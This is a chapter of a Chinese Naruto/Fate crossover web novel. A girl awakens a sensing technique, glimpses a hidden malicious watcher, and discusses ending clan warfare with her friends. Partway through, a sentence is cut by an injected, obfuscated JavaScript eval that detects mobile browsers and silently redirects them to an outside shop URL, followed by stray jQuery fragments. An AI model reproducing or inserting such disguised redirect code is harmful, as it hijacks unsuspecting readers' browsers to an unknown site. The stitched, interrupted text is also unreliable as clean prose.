20. 繁星20
    事实证明吃饭确实能使人心情愉悦,在美好的食物面前,暴躁的泉奈和扉间慢慢平静下来,没再做出一言不合就打起来的过激行为,顶多来回丢眼刀,互相讽刺几句,令密切关注他们一举一动的斑和柱间悄悄松了口气。

    愿意说话就是好事,阴阳怪气总比打得你死我活要强,多聊一聊,相信他们总有一天会熟悉起来的。

    被森林过滤掉暑气的阳光不再炽热,变得温柔而舒适。吃饱喝足的源纯把善后工作丢给其他人,自己伸了个懒腰,躲在树荫下闭目小憩。

    不知不觉间,她进入了一种玄妙的状态,不借助视力也“看”到了许许多多的细节——

    斑嫌弃柱间碗刷得不认真,柱间以傻笑应对;

    泉奈狠狠盯着站起来的扉间,扉间回了他一个“你没事吧”的眼神,慢条斯理地把剩下的食材封回卷轴中;

    红A背靠树干,隐匿在茂盛的树冠里,他边上不远处有个鸟窝,嘴角嫩黄的雏鸟拍打翅膀,啁啾清鸣;

    风吹过,尚且翠绿的叶子脱离枝干的束缚,落在河面,随水漂流;

    河底有鱼聚群游动,几只分外调皮的小鱼摇摆尾巴靠近河面,轻啄落叶;

    ……

    以自身为圆心,源纯的感知范围不断向外扩张,越来越大。

    【嗯?】红A率先察觉到异常,【你在做什么?我的千里眼升级了。】

    按照迦勒底给出的数值标准,原本C级的千里眼升级到了C+,视野更清楚了。

    几秒之后,源纯才慢吞吞地回应道:【觉醒了新技能,应该是叫……神乐心眼?一种感知型秘术,我之前能找到跟踪柱间的扉间,应该跟它有关系。】

    爸爸通过写轮眼打包塞进我脑子的知识中没有相关记载,估计是遗传自妈妈的能力。等回家再研究吧,当着柱间和扉间的面折腾,万一被他俩发现了,我可没想好该怎么解释……嗯?!

    源纯边思考边小心翼翼地收回感知,路过某片区域时,她突然被什么东西轻轻“刺”中了。

    此刻两人心念相通,红A当即暴起,直奔目标地点。源纯也迅速调转精神力,向着可疑方位来回扫描。

    但最终他们一无所获。

    【绝对不是我的错觉,】源纯坚定地说,【这片树林里一定存在过神秘的第七个人……或许不能称它为人,在我的感知中,那一瞬间暴露出来的,只有纯粹的恶意。】

    人类的感情是复杂的,恶往往会参杂上仇恨、悔愧、痛苦等其他负面情绪。那玩意儿不同,它只有恶,没有其他。

    而且它应该不是主动要攻击源纯,只是被源纯扫垃圾似的无意间扫了出来。

    【擅长藏匿行踪,】红A眯起眼睛,【听起来很熟悉啊。】

    【在我家里布置苦无和手里剑的残骸,对千手陷害宇智波的那个神秘人?】源纯迅速理解了红A指代的是什么,【它不会从那时起就跟着我,一直跟到现在吧?!】

    御主和从者面面相觑,两人都觉得此事非常离谱。

    觉醒神乐心眼前,源纯从未察觉到自己身边存在暗中窥探的可疑目光,顶多是宇智波苍空及其小团体悄悄蛐蛐她。到底是它隐藏得太完美,还是只是巧合,它今天刚来就被发现了?

    【好好好,真是太好了,】源纯喃喃道,【我还在苦恼该怎么调查真相,它竟然自己找上门了……】

    她决定从今往后二十四小时不间断地开着神乐心眼,直到神秘人再次跟踪她,被她狠狠揪出来为止!

    神乐心眼真好用,我爱妈妈!直到现在妈妈也在保护我!

    至于柱间和扉间是否会因此发现她有千手血统……无所谓,他俩就算发现了也不会伤害她,无非是解释的时候麻烦点。

    【冷静下来,】红A把手搭上源纯的肩膀,【恐惧来源于未知,我倒觉得它实际上并不能把你怎么样。】

    【恐惧?不不不,我在激动啊!】源纯不怒反笑,她咬牙切齿地说,【那可是疑似杀害我爸妈的凶手,就算不是也肯定知晓许多内|幕,我真是迫不及待地想再次见到它了!】

    红A犹豫片刻,还是说出自己的看法,给源纯泼了盆冷水:【或许它短时间内……不会再出现了。】

    源纯眉头紧皱,追问道:【为什么?】

    红A:【做个设想。你拥有超强的隐匿能力——面对面站在别人面前,对方都发现不了你存在的那种级别。这样的你有一个必须除掉的敌人,你会怎么做?】

    源纯:【直接除掉。】

    红A:【对。从出事到现在,它有无数次机会弥补自己的过失,但你仍然活得好好的,这说明要么它先前不知道你的存在,要么它其实非常弱小,弱小到哪怕占据绝对先手优势,也不能保证对你一击必杀。】

    【后者的可能性更高,】红A继续补充,【如果它不知道你的存在,它也就没有跟踪你的理由,不会出现在这里。】

    源纯明白了红A的意思,突然觉醒的神乐心眼无意间帮助她发现了敌人的行踪,但也打草惊蛇了。

    虽然弱小,可它确实杀掉了比自己强大的人,这证明它心智坚定,行事谨慎,能屈能伸,会制定严密的策略,没有万全把握,绝不出手。

    【所以冷静下来,不要冲动,】红A安抚地摸了摸源纯的头,【只要你还是它的目标,我们就总有抓住它的机会。】

    #

    黑绝一口气遁入了地下大约五十米深的位置。腥气的泥土从四面八方挤压过来,换成其他人处于这种可怕的环境,恐怕来不及窒息就先被吓死了,但它却摆出一副如鱼得水的姿态,放松地舒展开来,把自己摊成一张柔软的饼饼。

    除了它,周围不存在任何智慧生命,它非常、非常安全。

    今天的黑绝,也在为了把母亲卯之女神辉夜姬从月亮的封印中解救出来而努力。

    它已经努力了一千年,期间失败无数次,心态从一开始的崩碎炸裂,逐渐升级到如今的从容不迫。

    没关系,只不过是从头再来罢了,它有的是时间和耐心。

    但黑绝还是要diss一下因陀罗和阿修罗的查克拉转世。

    太丢人了,你俩到底能不能行?开个轮回眼就那么费劲儿吗?大筒木真是一代不如一代,还是母亲最厉害!

    把淡定刻入灵魂的黑绝,在今天久违地体会到了被惊吓的感觉。

    那小姑娘到底什么来头?她不是宇智波家的人吗,怎么会用漩涡家的秘传忍术神乐心眼啊!

    而且还是范围大得离谱、压迫感十足的神乐心眼。

    日常暗中观察这一代因陀罗和阿修罗查克拉转世的黑绝本来躲得好好的,身上的伪装一下子就被卷走了,要不是它反应快及时钻入地下,下一秒恐怕它也会被卷走。

    那确实是个货真价实的小姑娘,而不是某个闲得无聊、用变身术装嫩的老妖怪吧?

    希望这个变数不会对我的计划产生影响,黑绝心有余悸地想着,当场决定针对源纯好好调查一番,并把她加入观察名单,在名字后面备注高危标识。

    #

    “……睡着了?”源纯回过神,听到有人轻声呢喃,然后用微凉的指尖温柔地碰了碰她的额头。

    是泉奈,他没有叫醒源纯,而是慢慢将她放倒,从背靠大树变成了头枕着他的腿,躺得更舒服一点。

    他还脱下外套,罩住源纯的脸,帮她遮挡过于明亮的阳光。

    本来并不困倦的源纯真的生出些许睡意,继续懒洋洋地躺着没有动。

    中午就是要睡觉的嘛。

    而且刚刚她错失了一次报仇的机会,心

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14106155|148425||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    情很失落,提不起多余的兴致。

    神乐心眼的范围被源纯扩张到半径十公里左右,这个距离恰到好处,既不会因为消耗过大而影响日常生活,也能及时发现危险,做出应对。

    唯一的缺点是感知到的内容太多太杂了,她需要一一分辨,将乱七八糟的声音和画面剔除,只留下她所关注的事物。

    经过一番删删减减,小伙伴们的身影和声音在源纯的意识中清晰浮现。

    “……不知道什么时候被人记恨上,杀死陌生人,再被陌生人杀死,这样的一生到底有什么意义?”对面的柱间盘腿坐着,表情严肃,“通过逼死孩子换来的胜利,真的有存在的必要吗?”

    泉奈有一搭没一搭地拍着源纯的后背,考虑到他思考时的习惯,源纯感觉自己现在对他而言说不定是个巨大的毛绒玩具。

    听完柱间的心声,泉奈拍打的动作微微一顿,他把声音压得很低:“已经死去的人难道就白死了?还活着的人不会愿意承认这点的。”

    “没有意义,”扉间摇了摇头,“对死者而言,死了就是死了,就是结束了。还活着的人才会固执地追寻意义,不承认也没办法,事实不会因为个人承认与否而改变。大人们都是傻瓜,太冲动了,继续下去的结果只有一起毁灭。”

    他双手抱臂,略微低头,这个姿势使得其他人看不清他脸上的表情,但源纯能感知到平静下涌动的悲伤。

    “一种赌徒的心态……”说到这儿斑特意瞄了一眼柱间,柱间双手合十,比了个求饶的姿势,“总觉得现在停手就是亏了,只要继续往里投入,就能赚个大的,但结果往往血本无归。”

    “所以你们打算怎么做呢?”泉奈问,“总要有个规划吧?”

    短暂的沉默后,柱间回答:“我会努力变强,变得很强很强……”

    “……强到其他人无法忽略我们的声音。”斑说。

    “果然还是需要时间啊。”泉奈叹了口气,话锋一转,“小纯,你觉得呢?别偷看了,真以为我没发现吗?把你的感知收回去,扫来扫去的太明显了。”

    盖在脸上的衣服被拉下来,灿烂的阳光扑面而来。源纯眯眼缓了一会儿,睁眼对上泉奈的目光,露出一个乖巧而无辜的笑容。

    泉奈忍不住戳了戳她的脸蛋,软乎乎的,很有弹性,多戳两下容易上瘾。

    柱间充满羡慕的眼神飘过来。他也想戳,但是中间隔着警惕凝视他的斑,他没机会伸手。

    早知道最开始应该跟扉间换个地方,扉间离小纯更近……

    “有多明显?什么时候发现的?”源纯好奇地问。

    开始倾听他们聊天后,她确实就没怎么再注意隐匿气息了,也正好借机试探一下哪种程度的感知会被当事人察觉到。

    “我说话的时候。”

    “你给她挪地方的时候。”

    泉奈和扉间同时开口,说出了不同的答案。

    短暂的沉默后,泉奈忍不住“啊”了一声,“不是吧,有那么早吗?你那会儿就醒了?”

    其实是一直没睡,只是在跟卫宫用意念交流……源纯坐起来,头发被蹭得有点乱,配合迷茫的眼神,颇具迷惑效果,“没有啊,我刚醒。”

    扉间轻轻哼了一声。

    泉奈将信将疑。

    “咳咳,”源纯赶紧转移话题,“下面就由我来发表一下看法吧,怎么说呢……”

    她支吾几秒,还真灵光一闪找到了不同的切入角度,语气不自觉地认真起来:“变强让人听到自己的声音固然是一种途径,但我总觉得,如果不能从根源彻底解决问题,哪怕靠着武力威慑,取得了一时的和平,也无法长久维持下去……”

    “至于根源是什么,我暂时还不清楚。”她不好意思地笑了笑,“或许长大就明白了吧。”